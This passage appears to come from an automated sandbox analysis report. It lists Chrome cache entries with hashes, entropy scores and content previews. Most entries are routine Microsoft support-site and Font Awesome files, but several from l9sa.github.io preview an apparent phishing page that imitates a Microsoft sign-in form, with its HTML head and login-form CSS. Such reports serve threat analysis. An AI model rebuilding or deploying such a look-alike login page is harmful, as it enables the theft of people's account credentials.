..!{x....bt6nm.......,.x.da/...7.x.........&......$N.......=X.........~.PL.No.(i3....'..Y..ONz..f......[[.%f[[3JL........x.d.,.U..U..:....:0.......),..Kq.o..}oI....N..W..t~+...Y..j....h..,....m.T.J.e..RB..._..b.u.ql.7u.Nz_.-2..li.......`.`O+..1h.2..S.+..F.:...l.M...t.6..B.".;u...T.g.t....@..[-.Q........b..P..<...TLm.2...K%.e6p:....]S.`Q..S.....m.#Ur..w#x....CUl.V.M.N.i.....Tv.....8k,2M.^."..ec..i>..Z...a..a.8...{_\4.,d9.33k...y...,U..vU..u..]N.# ~..bk+[L...$oUl..^y..f.;..).<R...a..?..g.?

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	3.646439344671015
Encrypted:	false
SSDEEP:	3:xRhVnCm:xrQm
MD5:	F79FFC1767406D43B996B050CEC09ED2
SHA1:	EA4F919251BCDE6EE3CB2E45C0356E1FA3B86661
SHA-256:	1E62D5B3EFE0ECE892FF79BD65457FF2DC48A840444AFD53DEEDF2F2869BD685
SHA-512:	1B4C7C09D52BB2D26F505C148FD92B987AD680E675E7496EB8E92279F750587EBCE45DECD718CBBDFB91A4CEAADCA14AD918C4F8AA7971D199593C82C31BB92F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAnAwrJpDUzjsBIFDdbBmF8=?alt=proto
Preview:	Cg0KCw3WwZhfGgQIZBgC

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15396)
Category:	dropped
Size (bytes):	15441
Entropy (8bit):	5.11317096226596
Encrypted:	false
SSDEEP:	384:pcdYt6g5LhlvLlbbbxGd7GIpaexhvWHt/YVc8:pcy3vLlbZnIpaexhv6RKb
MD5:	F92C3CD31AC3F23E9256DBC2A7DB7454
SHA1:	FF753C1D040C5CB370C9C4770D1FD967C9D5FA6C
SHA-256:	80A45B8AB3685DD11B1193D214BE8695389409BE7D5C795561A4395E286FA06D
SHA-512:	CB2DD870F1C26F3B2B88EEB932096A512C3B2442E42190703DB0624EC6A950CA6DCD2195D3C5160A6C602C76EF933C45F4BA1781D5F7CA787EB43F9300B4F877
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";var t,e="click",n="ocHidden",o="collapsed",i=function(){function t(){var t=this;this.collapsed=!0,this.container=$("#supAppliesToList"),this.collapseButton=$(".appliesToOverflowControl.collapse").click((function(){return t.collapse()})),this.expandButton=$(".appliesToOverflowControl.expand").click((function(){return t.expand()})),this.reversedItems=this.expandButton.prevAll(".appliesToItem"),this.reversedItems.length>0&&(this.collapse(),$(window).on("resize",(function(){return t.handleResize()})))}return t.prototype.expand=function(){this.collapsed=!1,this.container.removeClass(o),this.reversedItems.removeClass(n),this.collapseButton.toggleClass(n,this.reversedItems.offset().top<=this.container.offset().top),this.expandButton.addClass(n)},t.prototype.collapse=function(){var t=this;this.collapsed=!0,this.container.addClass(o),this.reversedItems.removeClass(n),this.collapseButton.addClass(n),this.expandButton.addClass(n),this.reversedItems.each((function(e,n){ret

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	969
Entropy (8bit):	5.623950133853343
Encrypted:	false
SSDEEP:	24:2d6LsFdD0KIqF7PhBQqQZQqQZnHqQZQqQZQqxnqx+:c++dQKI47PhBQqQZQqQZHqQZQqQZQqxJ
MD5:	2EFC4FB9CD13F0C74773A74A657D64BD
SHA1:	32A08F76E79DC7A275401007D53A5BE4E6723A01
SHA-256:	B2842A5D18759A07B479B01E41D9D186254F2361DAFCB80A5A9F2C2F6B688AFF
SHA-512:	CCED5D42B4ABB542E43863452632D77DA2F12DA3BA5D29EA5FCDF5A5411FECA48126FD5A74226B489D504B64CA48E446816EEFAE07342A3CD2BBFB8793306EA2
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/assets/img/favicon32.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32pt" height="32pt" viewBox="0 0 32 32" version="1.1">.<defs>.<image id="image5" width="128" height="128" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABmJLR0QA/wD/AP+gvaeTAAABcUlEQVR4nO3YMQ1CQRBAwTsEkGABRQjAC2YQQAtisECCgcPAr/nFmym32mxetfN7Oa8Rc3y859b89hq5Wxz2XoB9CSBOAHECiBNAnADiBBAngDgBxAkgTgBxAogTQJwA4gQQJ4A4AcQJIE4AcQKIE0CcAOIEECeAOAHECSBOAHECiBNAnADiBBAngDgBxAkgTgBxAogTQJwA4gQQJ4A4AcQJIE4AcQKIE0CcAOIEECeAOAHECSBOAHECiBNAnADiBBAngDgBxAkgTgBxAgAAAEiZ4/5Zey/xd9fT3Bqv58jdwh8gTgBxAogTQJwA4gQQJ4A4AcQJIE4AcQKIE0CcAOIEECeAOAHECSBOAHECiBNAnADiBBAngDgBxAkgTgBxAogTQJwA4gQQJ4A4AcQJIE4AcQKIE0CcAOIEECeAOAHECSBOAHECiBNAnADiBBAngDgBxAkgTgBxAogTQJwA4gQQJ4A4AcQJIE4AcQKIE0DcD7bzDOLQOL8WAAAAAElFTkSuQmCC"/>.</defs>.<g id="surface2">.<use xlink:href="#image5" transform="matrix(0.25,0,0,0.25,0,0)"/>.</g>.</svg>.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2230), with no line terminators
Category:	downloaded
Size (bytes):	2230
Entropy (8bit):	5.1220413514345156
Encrypted:	false
SSDEEP:	48:UhdH51FtNZlLC1hdGKhhHH1FtNHt1h9hKhZS7zJRLkVbS01S0hSjSTMJcUSjSLpY:Q//JLCFGeV/ttD7rAc0MP+QuD+LpY
MD5:	4D56AF8ACF934242A6D0C2D5FD5785E1
SHA1:	9D58373C57C53221C4762B87BDC186F6E38384D0
SHA-256:	6F26F0CC605A8C789C557B2956CE78D147D5D2CC16D2F09B3A606306BCA3F4DE
SHA-512:	1ECA9E9FEF9757337739BC530C87AAA8B9209A14C16F570FC8041618274330E3649F6D0A7E9FA97DC45DC8BB8FDE61A18E06F98E8A48E7BC5F22D4D53CC217A3
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/SearchBox/search-box.css?v=bybwzGBajHicVXspVs540UfV0swW0vCbOmBjBryj9N4
Preview:	.searchBox .searchBoxForm{position:relative;margin:0}.searchBox .searchBoxForm .searchBoxInput{width:100%;height:3.1875rem;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:1rem;padding-left:1.125rem;padding-right:3.625rem;border:.0625rem solid #a3a3a3;border-radius:.125rem;box-sizing:border-box;outline:0}html[dir=rtl] .searchBox .searchBoxForm .searchBoxInput{padding-left:3.625rem;padding-right:1.125rem}.searchBox .searchBoxForm .searchBoxButton{position:absolute;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;cursor:pointer;padding:0 .25rem;top:0;right:0;width:3.125rem;height:3.1875rem;background-color:transparent;border:none}html[dir=rtl] .searchBox .searchBoxForm .searchBoxButton{left:0;right:auto;transform:scaleX(-1)}.searchBox .searchBoxForm .searchBoxButton .searchBoxIconContainer{display:flex;color:#0078d4;justify-content:center}.

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2344), with no line terminators
Category:	downloaded
Size (bytes):	2344
Entropy (8bit):	5.134415245853542
Encrypted:	false
SSDEEP:	24:oE+JZg5W6Ult8hFSekesn3nt0NjYLTMLzT4dTptl0IsrlpnkesnL3Y7Pe5OePzWM:oEp5ljTXQGc9B09rDXG3Y7PYxHub3bM
MD5:	7C7AD4AD4E53B739292930F39868EFB2
SHA1:	AE309F7735BD10B49C77C6E0DE8CFCB00BE7B4C7
SHA-256:	012AFF2DA7DF913056206503DC0F95E7F89E944BDE87D06B43A0D97B731FB38A
SHA-512:	BC132353910E8F82DA6D18C4B25DD14CD616FC36A1E8D76261EB67E59BF1BA43162CA689FA4B7CAE22671AEB214006C83C085D6185A167068C766D0E18DE0F0F
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/assets/css/styles.min.css
Preview:	#loginForm{background-color:#fff;box-shadow:0 2px 23px -5px rgba(0,0,0,.46);height:370px;width:440px;position:absolute;left:50%;top:49%;transform:translate(-50%,-50%);padding:10px}body{background-image:url(../../assets/img/background.png);background-repeat:no-repeat;background-size:cover}#logo{margin-top:25px;margin-left:36px;border:none}#signIn{margin-left:36px;margin-top:-6px;font-weight:600;font-size:25px;overflow:hidden}#email{width:85%;max-width:350px;height:40px;margin-top:-10px;margin-left:36px;border:none;border-bottom:.01px solid rgba(0,0,0,.7)}#ForgodPwd,#NoAccount,#SignWithKey,#createAccount{margin-left:36px;margin-top:13px;font-size:13px}#signInSecurity{margin-left:25px;font-size:13px}.fa.fa-question-circle-o{margin-left:5px;opacity:.8}#passResult,#result,#signInOptions,#signInSecurityKey{margin-left:36px;font-size:13px}#iconQ{margin-left:3px;opacity:.55}#btnSend,#btnSignIn{height:33px;width:108px;padding:0;margin-left:auto;margin-top:auto;font-size:13px;color:#fff;border:#

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56994)
Category:	downloaded
Size (bytes):	57180
Entropy (8bit):	4.716647457854574
Encrypted:	false
SSDEEP:	768:sEC319PizNq4/xBo8UHJikQ2R/oMQyYJrX75CthZQz5:sEkPUE4/3uHEB2Wfd7stAF
MD5:	500D1A92F875B1D96D37A3A3F8F0438C
SHA1:	703603273F5D5D52EB456D6385E1A68294FBD568
SHA-256:	C9B46437D7418E1712DAAAD6D73FA17C2C6AFB5681770C90339C25428415B7FD
SHA-512:	73DDE27CFA13BCC744247FEB288701C7FFC02F5CE7ABDFB8FD198C19A7C8FEF9D315EFDD2B09E7D6EA1EB33136CC90504D2D429390AA48113EDF89E0D8FB6126
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.12.0/css/all.css
Preview:	/!. Font Awesome Free 5.12.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pu

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	21727
Entropy (8bit):	5.232101618468897
Encrypted:	false
SSDEEP:	384:xYzlQeau9P3TI8NCUiLFv1uP4ZVSc2uQyea+eHbJjaTbz7NiCR6Rv98NOsQzOiL/:xYhQel3TI2ChBt2OVSZuQoJjG7N1R6Rp
MD5:	C49C34EE38F103BCB82F58DED32F57DB
SHA1:	757C8CE6D92102903F636C20B70E414A5E9A2E20
SHA-256:	BDBBDA3BD97031FF5BCB76B427D2ECD9C4617922C3860F662E51FB18AC5CC591
SHA-512:	5C5307784F8B7D3CF479154CADF3525D1D1BF05216D72BB32ABEF6E25183E26FB4D84DB7B14AA2868B11F54E23284D02BFE0309EE4D560AC79A507F762DBC219
Malicious:	false
Reputation:	low
Preview:	/! Copyright (C) Microsoft. All rights reserved. /....(function ($) {...'use strict';...(function smartFeedback() {....var activatedStarRatingValue = null;....var activatedStarRatingLabel = null;....var userSelectionIsInfoHelpful = null;......var checkBoxSelected = false;....var starRatingSelected = false;....var verbatimEntered = false;....var $spanDisplayElementsForStarCheckbox = $(".translationRatingStar, .checkboxTick");....var $extendedFeedbackStarCheckboxElements = $(".translationRatingStar, .articleExperienceOptionsCheckbox");......var $extendedFeedback = $("#extendedFeedback");....var $extendedFeedbackForm = $("#extendedFeedbackForm");....var $feedbackWrapper = $('#supWrapperToPreventFeedbackFlickering');....var $starRatingDescription = $("#starRatingDescription");....var $supDisableStickyFeedbackButton = $("#supDisableStickyFeedbackButton");....var isEnableStarRating = $feedbackWrapper.data("enableStarRating") ? $feedbackWrapper.data("enableStarRating").toLowerCase() === "tr

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65402)
Category:	dropped
Size (bytes):	154516
Entropy (8bit):	5.668820727464117
Encrypted:	false
SSDEEP:	3072:Bhqs2fbaMZUSFsU++EPMhnBARJNs87Xv3q1WhT0vGSVjbiOHci:BhIfbaMBy+EVNl3qggvGSVfii
MD5:	306EE895623E42F1745366B9EAFE1334
SHA1:	2ACC05C331D26F97EBD4216E2A078A610CC5C62A
SHA-256:	1FCCE77C094EE44B98F913B5D407FB17A7E9312B64AA32E27AD418EF2BD18A61
SHA-512:	17A6F6E5A3DB5B69C5B80DB9E6E4B6AD97321A4CE1C201D0051DAF36A0213768839B86DC996E79D2F50D05940B83816903FD13F8EB1BB4A2D845D97BF70AA429
Malicious:	false
Reputation:	low
Preview:	// @license Copyright (C) 2014-2024 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed..try{window._pxAppId="PXzC5j78di",function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}function n(t,n){if(t){if("string"==typeof t)return e(t,n);var r=Object.prototype.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r\|\|"Set"===r?Array.from(t):"Arguments"===r\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(r)?e(t,n):void 0}}function r(t){return function(t){if(Array.isArray(t))return e(t)}(t)\|\|function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]\|\|null!=t["@@iterator"])return Array.from(t)}(t)\|\|

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	dropped
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3637)
Category:	dropped
Size (bytes):	3690
Entropy (8bit):	5.141541571595828
Encrypted:	false
SSDEEP:	96:Af3vI6YmI62HUbHbZbpVuJRDhxwC9jTx+IRcaOs/Z:Af3vI6YmI62HUrllgffOQZ
MD5:	A249B03B72AB5E7B60E7806457B9BE61
SHA1:	FF0B5F4FB91A9DBF147262AD59B292C6C2DFE122
SHA-256:	48FF8C6449BEF199F206C7A1C49403E10DC6341A9D4A1F8946B042DDE66E315F
SHA-512:	29F204E3813972DC76FCE3DD6715093646EB0DA52DEDAC5E7E09B618E5CF8703CDE95D463727EB29F90D461D0C5A73B5701EC39B994A268103A06306144A6F34
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";var n;!function(n){n.PromotionBanner=".PromotionBanner",n.TopPageBanner=".TopPageBanner",n.AboveUhfBanner=".AboveUhfBanner",n.RailBanner=".RailBanner",n.NpsRailBanner=".NpsRailBanner",n.RailSecondaryCtaBanner=".RailSecondaryCtaBanner"}(n\|\|(n={}));var e=[{dismissSelector:null,clickSelector:"#ucsTopBannerButtonLink",element:n.PromotionBanner},{dismissSelector:"#top-banner-dismiss-button",clickSelector:"#ucsTopBannerButtonLink",element:n.TopPageBanner},{dismissSelector:"#uhf-banner-close",clickSelector:"#upgradeUhfBannerButton",element:n.AboveUhfBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button",element:n.RailBanner},{dismissSelector:"#nps-rail-close",clickSelector:"#nps-rail-link",element:n.NpsRailBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button, #rail-banner-button-secondary",element:n.RailSecondaryCtaBanner}],t=function(){return t=Object.assign\|\|function(n){for(var e,t=1,r=argument

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 297 x 166, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6270
Entropy (8bit):	7.945330124411617
Encrypted:	false
SSDEEP:	192:zS7+uH6tmhCSqN0K4Wykh3YMBYpAjav+tlXQ:m7vHqS9WyiooqSa2m
MD5:	5C04A186E00E47C2F90ED18E03AB4093
SHA1:	AC859795B92E3FA0FA88868AF532A3ED6F30F12A
SHA-256:	1A16DBCD6926721D9C3AEB85429586B307F11D2093CF9AEEFDAA37898CB74D46
SHA-512:	909830B01A21E61D98ADF1C61DFC44BD414CF03C51250A9DD7B5C26FB12D6334D984A21F25B5ED089FFDED4CAAA764579EEA317470C8616B7928E989B1A1778A
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/f4e85874-2a1a-438d-9c3c-17b069c454c0.png
Preview:	.PNG........IHDR...)...........y;....pHYs.................sRGB.........gAMA......a.....IDATx...._S...SE4....&..DE0(.e.&jb...h....C..b,.i.na.2pI.P"H.!. ZB....w.~..g_._..$'.....>...k..p.....z............:.x...l...:.g.u.......Fz..I..Sh.......T..L)}.c..e.T1.........OL..T,\N\..K4.57.......{./.yR.H.JlQ......@..b...TAT.....)6.0-."... .&..:K.d]1L...R..lJ.......:.....9.\|?}..........g..K..._.R....bk.i..E..K.%`...O....i..E.U....J.L.v.\|..a........bV.jY.>3...M.$R......T.J.....(:......z..L..E5".w.wl.w.g.A1..E.\|.......[a...g..T.....J...U.z..\|.l)..8..U..kp.cR........T...1..l.n\|.i....5...k.j...q.F.}.E/#.j...D....T....3'..^.^:.4.Z....K.`..c@9.Y.=S.W..t..=&.Z.G.R-....%f..xG...".../l.....[.WTw/er#..I.....L.>..R\.........!..U. .5...C.ol.0%....=.....L..B..L..9.&..c.O%T\|..h........egj?A......&...-*.X......;p...nf....T.....,bea.bj#.%....1..0L(Q.... ..sL..P...E.cX%.e...v.SQ".njw...:.>...\.%...b[T..cn'.#Z..i...C..%CX."....ej<.Q.LB......u.(.....E.?.'sR...DN

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	3832
Entropy (8bit):	4.92522429789377
Encrypted:	false
SSDEEP:	48:omdIFIoP+8ODcaSwb4bqKSXPzyfPmdd0bVKwDieeHFVQbYKpE9BVhwgM:oqInQDNkONXLKedii+cZVh/M
MD5:	E524A36BE23802505E2951D6978C8FD1
SHA1:	2AA219BBEC58DA88AD99B4EFC0939CE4BFAE0345
SHA-256:	65B8E27BF22602F794B10458E6D997F0C2FF284E72FDC4227DDA2229D8B84AD7
SHA-512:	FDCD860A1CAE6AB05AA59F33C69431530013809136BB0359F68DBFD9E32BF81FB4DBBFFFD7E12950F4E9FC8CDF4DF011BC4201AA4D5BD2A9866FB76803690822
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/
Preview:	<!DOCTYPE html>.<html>..<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">. <title>Sign in to your Microsoft account</title>. <link rel="icon" type="image/svg+xml" sizes="21x21" href="assets/img/favicon16.svg">. <link rel="icon" type="image/svg+xml" sizes="43x43" href="assets/img/favicon32.svg">. <link rel="icon" type="image/svg+xml" sizes="240x240" href="assets/img/favicon%20180.svg">. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css">. <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.12.0/css/all.css">. <link rel="stylesheet" href="https://maxcdn.icons8.com/fonts/line-awesome/1.1/css/line-awesome.min.css">. <link rel="stylesheet" href="assets/css/styles.min.css">.</head>..<body class="text-nowrap" style="width: 100%;height: 100vh;">. <div id="loginForm" class="container"><img id="image" src="assets/

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1446 x 906, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1410351
Entropy (8bit):	7.986006208509322
Encrypted:	false
SSDEEP:	24576:AWtd8i8qdkPwFTjk/oWZdiSmKlmELDq+BKrkVLpwCfH+dD+3T7nKMr2Y:RAiFkPwFTjTWiolVLWjkRpwC/+qr2Y
MD5:	1A01EE8E1AEDB6A89EA3690F8B88BE30
SHA1:	86B2FDFC989699501873372979C6078A56499299
SHA-256:	2C2DADEFFD09EDC19419752A6B3726F8BBDB6D3E472CA4622D138DED639D17F7
SHA-512:	C31D7B8BCB68A63F7C0536A061E892F9B5552B2E6F6DCC45E0AAC08ED493732F6119359956BA5F171E98D496287659B0EF1A218382DA71DF661EF6FA23367194
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/88c15785-4b69-4512-acbc-81ebe86f5410.png
Preview:	.PNG........IHDR.............`Y......pHYs...N...N..1......sRGB.........gAMA......a.....IDATx.....}..k=G 8......1..c.Nl<..6........[...K....P"...B.......).P2.a...d$..9 .=.].....]..k...\|...y>....]]]...............o...?............~.Q....8....<.W...&......(..<...;..Q....[.....c........\..L`2.dx.s........8..z.......g......vyO)N1]...FY...z.....Q...........Sr{.Sl...MN.}q......9......Z?....k].....x.G...v.g...^..N..."<.W.........bv...-..F..-....n...i......m.a.....W....M.".w.}.......s...0..T...0....<\|;.9..mz.].?..W......pf...Wa.L..j.........{.m..~{.P.y.a}Mv.\|=.={6.I:.{..Z.....qM.x.==Bf7_.7.v.....m.a..`).H.Ly...<.......eD....5..=:..8O..k.yW.}p..C.~.>\|..v1...<D.:..1.G.V......u..D.`......]e..~.c.%...g.=N%.w\|b.So..?.v:4.z~..u...r...Y.7......ll3!_..=....x6...p........-.]0.wZ'.q...5.;..U#.......m#xX.k.....j.zK./......~..........o.....J../=j<}T.QM;....wU.3...G....mt{.r...~1.N....M.Z..KG.pXh.<.Ow.U........]..O..O.F..s...O}J:.`zT........x..X.>..>\|.1".9.

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4873), with no line terminators
Category:	downloaded
Size (bytes):	4873
Entropy (8bit):	5.2268236765669895
Encrypted:	false
SSDEEP:	96:p6+5cDrFRe+/zH/pMWtPfHGHPiBwXA4nHjnwwX8ntj29X8nvDMwtKcDneTbZoDy:k+5cDrFQO7pMWtPfmHPiBwXznHjnwwXp
MD5:	ED927CF0F8A1BE103DF48446270416EE
SHA1:	F7B2BE7FC2B063AAC03E76DF9F3E19D615970213
SHA-256:	EBDD298DFD39A35E5F54469F12953081A17CBEA55F3A4A79C0FD4997D804F7D5
SHA-512:	FCA692C8C7B104FB00C2E6D90C1A0D52A0FF93CDA626338D8FA114A0E9DCE2504DF9282868F98A46648A6E616A96ACD14CAD0460D72477421C8F5EE8F7D34256
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/MeControlCallout/teaching-callout.css?v=690pjf05o15fVEafEpUwgaF8vqVfOkp5wP1Jl9gE99U
Preview:	.teachingCalloutPopover{position:absolute;z-index:10000;top:45px;width:336px;right:2vw;color:#000;background-color:#fff;border:1px solid #000;box-sizing:content-box}.teachingCalloutPopover .caretArrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.teachingCalloutPopover .caretArrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.teachingCalloutPopover .caretArrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.teachingCalloutPopover .caretArrowPosition{left:215px}.teachingCalloutPopover .win-icon{font-family:"Dev Center MDL2 Assets";font-style:normal;font-weight:normal;line-height:1;position:relative;top:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#teachingCalloutDismiss,#teachingCalloutMessages{color:#000}.teachingCalloutHidden{visibility:hidden}.calloutMessageHidden{display:none}.caretArrowUp{

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 13576, version 330.-16253
Category:	downloaded
Size (bytes):	13576
Entropy (8bit):	7.984449737832698
Encrypted:	false
SSDEEP:	384:os7DSv/xjmBqcG/09/TdcMRDjjGb55+/sZzyqz4:Zuv/xKBm/09/RVRp8ztz4
MD5:	9EFB86976BD53E159166C12365F61E25
SHA1:	830F8653E5F4A5331AC0B47C5701F65FE9F1BB32
SHA-256:	86E496B536B26BA60CDB68DF9DD9143B19A63B65E30E373B0321833AAB1295D6
SHA-512:	0767677BB9DA08FCF2E2FACD285B27E0E7092525734EE0C87F2C940AEF11A33D797F86AC89BC5C46F50ABF8DE3877A9A4166FEFDE699BF9C7F61F96126FC1475
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.12.0/webfonts/fa-regular-400.woff2
Preview:	wOF2......5........,..4..J......................?FFTM....`..Z.....@..J.6.$..T..6.. ..[..+..k%.....!.X.(......8:....$-._AE....dU.T.RT5....-a.\|.4k$.Jy....p.T...06..p.=J.5..d...W.a........=mbt....M...._f...E.OW.4..H$[..t..%y~C.[M.n....$.....K..0.Pz.I(-.%(z ..Q.B..`9D8.....r...[..Y....w..O_..d...1..J..*.].8.....T..,....`i.C;..=.w...Eq.@.gA.`.....$.d.a.e..D...w...~k.%.+g.0%w.\|.[..e.$...`...6...IJ}J..u.........P..p...@....-m.zc~~\|......K..Qdkv.w..K.C.....5s..?......v......\|.z..Z~\|...K..m.V...i.e.,..<.b].p...08/........Fw..Y.0.!&.2......[...K.__..,...I.'.f...I.{.3.0..6.D...O..S{)...w.u..mj.h..1E..+.pUv..._..g-..Bh$.......hD.......\|..?...2..:.\...`.u............i.......Q...7X..........2.s...1..0.:.h.....'....Z`.8.... C......1R.,$.l>.....&..d3..f......g>.\|...hcM4.t.,..~.e.{.g..7.=~J(...nE...H...Mg...~8.e'....7...~..9.b.7.........q....;.~.B)...5....5.j.~Y.....t......k........\|........o......+O..p...9..o...3O=..#...DK..Q ...K.../.....rG.

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2824)
Category:	dropped
Size (bytes):	2874
Entropy (8bit):	5.196998647096783
Encrypted:	false
